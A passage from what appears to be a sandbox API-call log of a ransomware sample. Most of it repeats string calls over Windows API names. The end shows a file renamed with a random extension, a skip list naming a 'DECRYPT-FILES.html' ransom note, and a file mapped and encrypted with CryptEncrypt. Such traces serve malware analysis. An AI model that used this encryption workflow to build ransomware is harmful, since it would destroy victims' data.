lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0129.096] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0129.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0129.096] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0129.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0129.096] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0129.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0129.096] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0129.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0129.096] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0129.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0129.096] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0129.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0129.096] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0129.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0129.096] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0129.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0129.096] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0129.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0129.096] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0129.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0129.096] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0129.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0129.097] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0129.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0129.097] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0129.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0129.097] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0129.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0129.097] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0129.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0129.097] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0129.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0129.097] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0129.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0129.097] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0129.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0129.097] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0129.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0129.097] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0129.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0129.097] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0129.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0129.097] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0129.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0129.097] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0129.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0129.097] lstrlenA (lpString="COPYCONTEXT") returned 11 [0129.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0129.097] lstrlenA (lpString="COPYFILE2") returned 9 [0129.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0129.097] lstrlenA (lpString="COPYFILEA") returned 9 [0129.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0129.097] lstrlenA (lpString="COPYFILEEXA") returned 11 [0129.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0129.097] lstrlenA (lpString="COPYFILEEXW") returned 11 [0129.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0129.097] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0129.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0129.097] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0129.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0129.097] lstrlenA (lpString="COPYFILEW") returned 9 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0129.098] lstrlenA (lpString="COPYLZFILE") returned 10 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0129.098] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0129.098] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0129.098] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0129.098] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0129.098] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0129.098] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0129.098] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0129.098] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0129.098] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0129.098] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0129.098] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0129.098] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0129.098] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0129.098] lstrlenA (lpString="CREATEEVENTA") returned 12 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0129.098] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0129.098] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0129.098] lstrlenA (lpString="CREATEEVENTW") returned 12 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0129.098] lstrlenA (lpString="CREATEFIBER") returned 11 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0129.098] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0129.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0129.098] lstrlenA (lpString="CREATEFILE2") returned 11 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0129.099] lstrlenA (lpString="CREATEFILEA") returned 11 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0129.099] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0129.099] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0129.099] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0129.099] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0129.099] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0129.099] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0129.099] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0129.099] lstrlenA (lpString="CREATEFILEW") returned 11 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0129.099] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0129.099] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0129.099] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0129.099] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0129.099] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0129.099] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0129.099] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0129.099] lstrlenA (lpString="CREATEJOBSET") returned 12 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0129.099] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0129.099] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0129.099] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0129.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0129.100] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0129.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0129.100] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0129.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0129.100] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0129.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0129.100] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0129.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0129.100] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0129.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0129.100] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0129.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0129.100] lstrlenA (lpString="CREATEPIPE") returned 10 [0129.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0129.100] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0129.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0129.100] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0129.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0129.100] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0129.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0129.100] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0129.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0129.100] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0129.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0129.100] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0129.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0129.100] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0129.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0129.100] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0129.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0129.100] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0129.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0129.100] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0129.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0129.100] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0129.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0129.100] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0129.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0129.100] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0129.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0129.101] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0129.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0129.101] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0129.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0129.101] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0129.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0129.101] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0129.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0129.101] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0129.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0129.101] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0129.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0129.101] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0129.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0129.101] lstrlenA (lpString="CREATETHREAD") returned 12 [0129.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0129.101] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0129.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0129.101] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0129.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0129.101] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0129.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0129.101] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0129.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0129.101] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0129.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0129.101] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0129.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0129.101] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0129.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0129.102] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.xt5GP2v") returned 52 [0129.102] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.xt5GP2v" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.xt5gp2v"), dwFlags=0x0) returned 1 [0129.102] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.103] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.103] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.103] FindNextFileW (in: hFindFile=0x3b80fc0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0129.103] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0129.103] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0129.104] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0129.104] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0129.104] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0129.104] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0129.104] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0129.104] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0129.104] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0129.104] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0129.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\") returned 27 [0129.104] lstrlenW (lpString="SetupResources.dll") returned 18 [0129.104] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1042\\" | out: lpString1="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\" [0129.104] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1042\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" [0129.104] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0129.104] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0129.104] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=15192) returned 1 [0129.104] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0129.104] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0129.450] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0129.451] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0129.451] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0129.451] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0129.451] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0129.453] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.453] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0129.453] CloseHandle (hObject=0x5f8) returned 1 [0129.453] SetFilePointerEx (in: hFile=0x5f4, 